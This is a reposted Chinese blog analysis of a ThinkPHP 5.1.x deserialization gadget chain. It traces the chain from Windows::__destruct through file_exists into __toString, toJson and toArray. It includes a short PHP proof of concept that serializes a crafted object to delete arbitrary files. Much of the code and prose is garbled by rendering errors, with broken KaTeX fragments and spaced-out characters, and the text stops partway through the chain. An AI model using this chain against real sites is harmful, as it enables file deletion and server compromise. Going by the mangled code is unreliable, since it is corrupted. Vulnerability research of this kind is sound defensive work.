Thinkphp 反序列化利用链深入分析

作者:Ethan@知道创宇404实验室
时间:2019年9月21日
原文链接:https://paper.seebug.org/1040/

前言

今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThinkPHP的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!

环境搭建

Thinkphp 5.1.35
php 7.0.12

漏洞挖掘思路

在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

漏洞分析

首先漏洞的起点为/thinkphp/library/think/process/pipes/Windows.php的__destruct()

在这里插入图片描述

__destruct()里面调用了两个函数,我们跟进removeFiles()函数。

class Windows extends Pipes
{
private KaTeX parse error: Expected '}', got 'EOF' at end of input: … foreach (this->files as KaTeX parse error: Expected '}', got 'EOF' at end of input: …f (file_exists(filename)) {
@unlink($filename);
}
}
KaTeX parse error: Expected 'EOF', got '}' at position 23: …iles = []; }̲ .... } 这里使…this->files,而且这里的$files是可控的。所以存在一个任意文件删除的漏洞。

POC可以这样构造:

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=[‘需要删除文件的路径’];
}
}

echo base64_encode(serialize(new Windows()));
这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。

在removeFiles()中使用了file_exists对 f i l e n a m e 进 行 了 处 理 。 我 们 进 入 f i l e e x i s t s 函 数 可 以 知 道 , filename进行了处理。我们进入file_exists函数可以知道, filenamefileexistsfilename会被作为字符串处理。

在这里插入图片描述

而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。我们全局搜索__toString方法。

在这里插入图片描述

我们跟进\thinkphp\library\think\model\concern\Conversion.php的Conversion类的第224行,这里调用了一个toJson()方法。

.....
public function __toString()
{
    return $this->toJson();
}
.....

跟进toJson()方法

....
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}
....

继续跟进toArray()方法

public function toArray()
{
$item = [];
$visible = [];
h i d d e n = [ ] ; . . . . . / / 追 加 属 性 ( 必 须 定 义 获 取 器 ) i f ( ! e m p t y ( hidden = []; ..... // 追加属性(必须定义获取器) if (!empty( hidden=[];.....//if(!empt

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值